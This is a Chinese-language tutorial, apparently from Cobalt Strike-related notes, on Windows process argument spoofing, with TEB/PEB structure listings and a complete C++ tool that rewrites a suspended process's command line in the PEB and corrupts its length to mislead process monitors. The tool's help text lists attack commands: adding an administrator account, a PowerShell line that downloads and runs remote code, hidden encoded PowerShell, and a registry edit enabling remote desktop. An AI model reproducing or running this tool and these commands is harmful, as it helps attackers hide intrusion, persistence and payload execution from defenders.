C
C
Cobalt Strike
搜索文档…
进程参数欺骗原理

前置

参数欺骗或者说参数伪造这个功能以前也有简单写过但是当时并没有详细的写原理,只简单介绍了一下然后用代码写了一个参数欺骗Demon
之前的文章(Demon不在这个文章里在我github上)
首先我们要明白进程是如何获得参数的,写一个最简单的打印参数的程序
1
int main(int argc, char* argv[])
2
{
3
printf("%s \n",argv[0]);
4
system("pause");
5
}
Copied!
这个大家应该都用过,在main函数里面通过argv获取进程参数,但是你有想过argv是怎么来的吗,它又是谁赋的值
有过win32开发经验搞过crt的或者稍微了解逆向的,应该知道main函数并不是程序真正的入口点,一般情况程序的入口点是mainCRTStartup,main函数则是在mainCRTStartup初始完成CRT环境后被调用的,而在CRT初始化过程中会调用GetCommandLine函数,这个函数返回一个指针,这个指针指向进程命令行缓冲区
函数原型
1
WINBASEAPI
2
LPSTR
3
WINAPI
4
GetCommandLineA(
5
VOID
6
);
7
8
WINBASEAPI
9
LPWSTR
10
WINAPI
11
GetCommandLineW(
12
VOID
13
);
Copied!
一些下面会用到的结构体提前先列出来
TEB
1
struct _TEB {
2
0x000 _NT_TIB NtTib;
3
0x01c void* EnvironmentPointer;
4
0x020 _CLIENT_ID ClientId;
5
0x028 void* ActiveRpcHandle;
6
0x02c void* ThreadLocalStoragePointer;
7
0x030 _PEB* ProcessEnvironmentBlock; /* 指向PEB */
8
0x034 DWORD LastErrorValue;
9
0x038 DWORD CountOfOwnedCriticalSections;
10
0x03c void* CsrClientThread;
11
0x040 void* Win32ThreadInfo;
12
0x044 DWORD User32Reserved[26];
13
0x0ac DWORD UserReserved[5];
14
0x0c0 void* WOW32Reserved;
15
0x0c4 DWORD CurrentLocale;
16
0x0c8 DWORD FpSoftwareStatusRegister;
17
0x0cc void* SystemReserved1[54];
18
0x1a4 int ExceptionCode;
19
0x1a8 _ACTIVATION_CONTEXT_STACK ActivationContextStack;
20
0x1bc DWORD SpareBytes1[24];
21
0x1d4 _GDI_TEB_BATCH GdiTebBatch;
22
0x6b4 _CLIENT_ID RealClientId;
23
0x6bc void* GdiCachedProcessHandle;
24
0x6c0 DWORD GdiClientPID;
25
0x6c4 DWORD GdiClientTID;
26
0x6c8 void* GdiThreadLocalInfo;
27
0x6cc DWORD Win32ClientInfo[62];
28
0x7c4 void* glDispatchTable[233];
29
0xb68 DWORD glReserved1[29];
30
0xbdc void* glReserved2;
31
0xbe0 void* glSectionInfo;
32
0xbe4 void* glSection;
33
0xbe8 void* glTable;
34
0xbec void* glCurrentRC;
35
0xbf0 void* glContext;
36
0xbf4 DWORD LastStatusValue;
37
0xbf8 _UNICODE_STRING StaticUnicodeString;
38
0xc00 WORD StaticUnicodeBuffer[261];
39
0xe0c void* DeallocationStack;
40
0xe10 void* TlsSlots[64];
41
0xf10 _LIST_ENTRY TlsLinks;
42
0xf18 void* Vdm;
43
0xf1c void* ReservedForNtRpc;
44
0xf20 void* DbgSsReserved[2];
45
0xf28 DWORD HardErrorsAreDisabled;
46
0xf2c void* Instrumentation[16];
47
0xf6c void* WinSockData;
48
0xf70 DWORD GdiBatchCount;
49
0xf74 UChar InDbgPrint;
50
0xf75 UChar FreeStackOnTermination;
51
0xf76 UChar HasFiberData;
52
0xf77 UChar IdealProcessor;
53
0xf78 DWORD Spare3;
54
0xf7c void* ReservedForPerf;
55
0xf80 void* ReservedForOle;
56
0xf84 DWORD WaitingOnLoaderLock;
57
0xf88 _Wx86ThreadState Wx86Thread;
58
0xf94 void** TlsExpansionSlots;
59
0xf98 DWORD ImpersonationLocale;
60
0xf9c DWORD IsImpersonating;
61
0xfa0 void* NlsCache;
62
0xfa4 void* pShimData;
63
0xfa8 DWORD HeapVirtualAffinity;
64
0xfac void* CurrentTransactionHandle;
65
0xfb0 _TEB_ACTIVE_FRAME* ActiveFrame;
66
};
Copied!
_NT_TEB
1
typedef struct _NT_TIB
2
{
3
PEXCEPTION_REGISTRATION_RECORD ExceptionList;
4
PVOID StackBase;
5
PVOID StackLimit;
6
PVOID SubSystemTib;
7
union
8
{
9
PVOID FiberData;
10
ULONG Version;
11
};
12
PVOID ArbitraryUserPointer;
13
PNT_TIB Self; //+18 指向自己(TEB)
14
} NT_TIB, *PNT_TIB;
Copied!
PEB
1
struct _PEB {
2
0x000 BYTE InheritedAddressSpace;
3
0x001 BYTE ReadImageFileExecOptions;
4
0x002 BYTE BeingDebugged;
5
0x003 BYTE SpareBool;
6
0x004 void* Mutant;
7
0x008 void* ImageBaseAddress;
8
0x00c _PEB_LDR_DATA* Ldr;
9
0x010 _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
10
0x014 void* SubSystemData;
11
0x018 void* ProcessHeap;
12
0x01c _RTL_CRITICAL_SECTION* FastPebLock;
13
0x020 void* FastPebLockRoutine;
14
0x024 void* FastPebUnlockRoutine;
15
0x028 DWORD EnvironmentUpdateCount;
16
0x02c void* KernelCallbackTable;
17
0x030 DWORD SystemReserved[1];
18
0x034 DWORD ExecuteOptions:2; // bit offset: 34, len=2
19
0x034 DWORD SpareBits:30; // bit offset: 34, len=30
20
0x038 _PEB_FREE_BLOCK* FreeList;
21
0x03c DWORD TlsExpansionCounter;
22
0x040 void* TlsBitmap;
23
0x044 DWORD TlsBitmapBits[2];
24
0x04c void* ReadOnlySharedMemoryBase;
25
0x050 void* ReadOnlySharedMemoryHeap;
26
0x054 void** ReadOnlyStaticServerData;
27
0x058 void* AnsiCodePageData;
28
0x05c void* OemCodePageData;
29
0x060 void* UnicodeCaseTableData;
30
0x064 DWORD NumberOfProcessors;
31
0x068 DWORD NtGlobalFlag;
32
0x070 _LARGE_INTEGER CriticalSectionTimeout;
33
0x078 DWORD HeapSegmentReserve;
34
0x07c DWORD HeapSegmentCommit;
35
0x080 DWORD HeapDeCommitTotalFreeThreshold;
36
0x084 DWORD HeapDeCommitFreeBlockThreshold;
37
0x088 DWORD NumberOfHeaps;
38
0x08c DWORD MaximumNumberOfHeaps;
39
0x090 void** ProcessHeaps;
40
0x094 void* GdiSharedHandleTable;
41
0x098 void* ProcessStarterHelper;
42
0x09c DWORD GdiDCAttributeList;
43
0x0a0 void* LoaderLock;
44
0x0a4 DWORD OSMajorVersion;
45
0x0a8 DWORD OSMinorVersion;
46
0x0ac WORD OSBuildNumber;
47
0x0ae WORD OSCSDVersion;
48
0x0b0 DWORD OSPlatformId;
49
0x0b4 DWORD ImageSubsystem;
50
0x0b8 DWORD ImageSubsystemMajorVersion;
51
0x0bc DWORD ImageSubsystemMinorVersion;
52
0x0c0 DWORD ImageProcessAffinityMask;
53
0x0c4 DWORD GdiHandleBuffer[34];
54
0x14c void (*PostProcessInitRoutine)();
55
0x150 void* TlsExpansionBitmap;
56
0x154 DWORD TlsExpansionBitmapBits[32];
57
0x1d4 DWORD SessionId;
58
0x1d8 _ULARGE_INTEGER AppCompatFlags;
59
0x1e0 _ULARGE_INTEGER AppCompatFlagsUser;
60
0x1e8 void* pShimData;
61
0x1ec void* AppCompatInfo;
62
0x1f0 _UNICODE_STRING CSDVersion;
63
0x1f8 void* ActivationContextData;
64
0x1fc void* ProcessAssemblyStorageMap;
65
0x200 void* SystemDefaultActivationContextData;
66
0x204 void* SystemAssemblyStorageMap;
67
0x208 DWORD MinimumStackCommit;
68
);
Copied!

分析

继续我们来分析一下GetCommandLineW的实现
可以看到GetCommandLineW是直接从一个地址中读取的值然后给eax,我们跟进查看是谁给此地址赋值的
双击进入
在这里就可以很清楚的看到是从PEB里取的值
如果你不明白为什么esi指向PEB可以去函数开头看一下esi是从哪里来的,基本就能明白
现在我们应该清楚进程参数该从哪里获取(PEB.ProcessParameters.CommandLine)
所以我们可以很简单的通过修改PEB达到目的 1.以暂停标志创建进程 2.修改PEB.ProcessParameters.CommandLine 3.继续运行进程
从上面也可以看出来CommandLine是一个UNICODE_STRING结构体
1
typedef struct _UNICODE_STRING {
2
USHORT Length;
3
USHORT MaximumLength;
4
PWSTR Buffer;
5
} UNICODE_STRING, *PUNICODE_STRING;
Copied!
而GetCommandLine根据我们上面分析的结果,它并不解析其中的Length,单单返回Buffer。这就造成了一些问题,进程本身初始化获取参数时不会理会Length,但是部分进程管理工具会通过读取PEB寻找参数,然后依据UNICODE_STRING.Length去读取参数的长度,所以我们还可以利用这点欺骗进程管理工具
没更新参数前
开始写入
CE转到对应的进程地址可以看到原先的参数
写入完成后已经被更改了
这里故意破坏Length凡是依靠Length读取字符串的都会被截断
ProcessHacker读取时按照Length长度读取,导致被截断
最后弹出calc

代码

1
#include <iostream>
2
#include <Windows.h>
3
#include <winternl.h>
4
#include<string>
5
6
using namespace std;
7
8
9
typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
10
IN HANDLE ProcessHandle,
11
ULONG ProcessInformationClass,
12
OUT PVOID ProcessInformation,
13
IN ULONG ProcessInformationLength,
14
OUT PULONG ReturnLength OPTIONAL
15
);
16
17
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
18
//SIZE_T bytesRead;
19
char* alloc;
20
21
alloc = (char*)malloc(bytes);
22
if (alloc == NULL) {
23
return NULL;
24
}
25
26
if (ReadProcessMemory(process, address, alloc, bytes, NULL) == 0) {
27
free(alloc);
28
return NULL;
29
}
30
31
return alloc;
32
}
33
34
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
35
//SIZE_T bytesWritten;
36
37
if (WriteProcessMemory(process, address, data, bytes, NULL) == 0) {
38
return false;
39
}
40
41
return true;
42
}
43
44
wstring charToWstring(const char* szIn)
45
{
46
int length = MultiByteToWideChar(CP_ACP, 0, szIn, -1, NULL, 0);
47
WCHAR* buf = new WCHAR[length + 1];
48
ZeroMemory(buf, (length + 1) * sizeof(WCHAR));
49
MultiByteToWideChar(CP_ACP, 0, szIn, -1, buf, length);
50
std::wstring strRet(buf);
51
delete[] buf;
52
return strRet;
53
}
54
55
int main(int argc, char** argv)
56
{
57
58
if (argc < 2) {
59
printf("Usage:argue.exe \"net1.exe xx\" \"net1.exe user admin /add\" \n");
60
printf("-h help");
61
return 1;
62
}
63
if (strcmp(argv[1], "-h") == 0)
64
{
65
printf("[+] \" Escape \\\" \n");
66
printf("[+] The length of parameter 1 must be greater than parameter 2.\n");
67
printf("[+] Common command: \n");
68
printf("argue.exe \"net1.exe xxxx\" \"net1.exe user admin pass /add\" \n");
69
printf("argue.exe \"net localgroup\" \"Administrators admin /add\" \n");
70
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -nop -c \\\"iex(New - Object Net.WebClient).DownloadString('http://xxx/')\\\" \" \n");
71
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -ExecutionPolicy bypass -windowstyle hidden -EncodedCommand Base64\" \n");
72
printf("argue.exe \"regedit.exe xx\" \"regedit.exe /s file.reg\" \n");
73
printf("argue.exe \"reg.exe xxx\" \"reg.exe add \\\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\" \n ");
74
return 1;
75
}
76
if (strlen(argv[1])<strlen(argv[2]))
77
{
78
printf("[!] Error: Parameter 1 is less than parameter 2 \n");
79
return 1;
80
}
81
82
STARTUPINFOA si;
83
PROCESS_INFORMATION pi;
84
BOOL success;
85
PROCESS_BASIC_INFORMATION pbi;
86
PEB pebLocal;
87
RTL_USER_PROCESS_PARAMETERS* parameters;
88
memset(&si, 0, sizeof(si));
89
si.wShowWindow = SW_HIDE;
90
memset(&pi, 0, sizeof(pi));
91
92
// 创建进程
93
success = CreateProcessA(
94
NULL,
95
argv[1],
96
NULL,
97
NULL,
98
FALSE,
99
CREATE_SUSPENDED | CREATE_NO_WINDOW,
100
NULL,
101
//"C:\\Windows\\System32\\",
102
NULL,
103
&si,
104
&pi);
105
106
if (success == FALSE) {
107
printf("[!] Error: Unable to call CreateProcess to create process\n");
108
return 1;
109
}
110
_NtQueryInformationProcess ntpi = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
111
112
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
113
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
114
if (success == FALSE)
115
{
116
TerminateProcess(pi.hProcess, 0);
117
CloseHandle(pi.hProcess);
118
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
119
return -1;
120
}
121
122
//从PEB获取ProcessParameters
123
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
124
pi.hProcess,
125
pebLocal.ProcessParameters,
126
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
127
);
128
129
//设置我们要使用的实际参数
130
wstring wspoofed = charToWstring(argv[2]);
131
WCHAR* wchar_wspoofed = (WCHAR*)wspoofed.c_str();
132
133
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)wchar_wspoofed, wcslen(wchar_wspoofed)* 2 + 1);
134
135
if (success == FALSE) {
136
TerminateProcess(pi.hProcess, 0);
137
CloseHandle(pi.hProcess);
138
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
139
return 1;
140
}
141
142
//更新命令行长度欺骗进程浏览器
143
DWORD newUnicodeLen = 5;
144
145
success = WriteProcessMemory(
146
pi.hProcess,
147
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
148
(void*)&newUnicodeLen,4,NULL);
149
150
if (success == FALSE) {
151
TerminateProcess(pi.hProcess, 0);
152
CloseHandle(pi.hProcess);
153
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
154
return 1;
155
}
156
157
ResumeThread(pi.hThread);
158
}
Copied!
这块基本上算是对以前的一个补充想起来就写上了
复制链接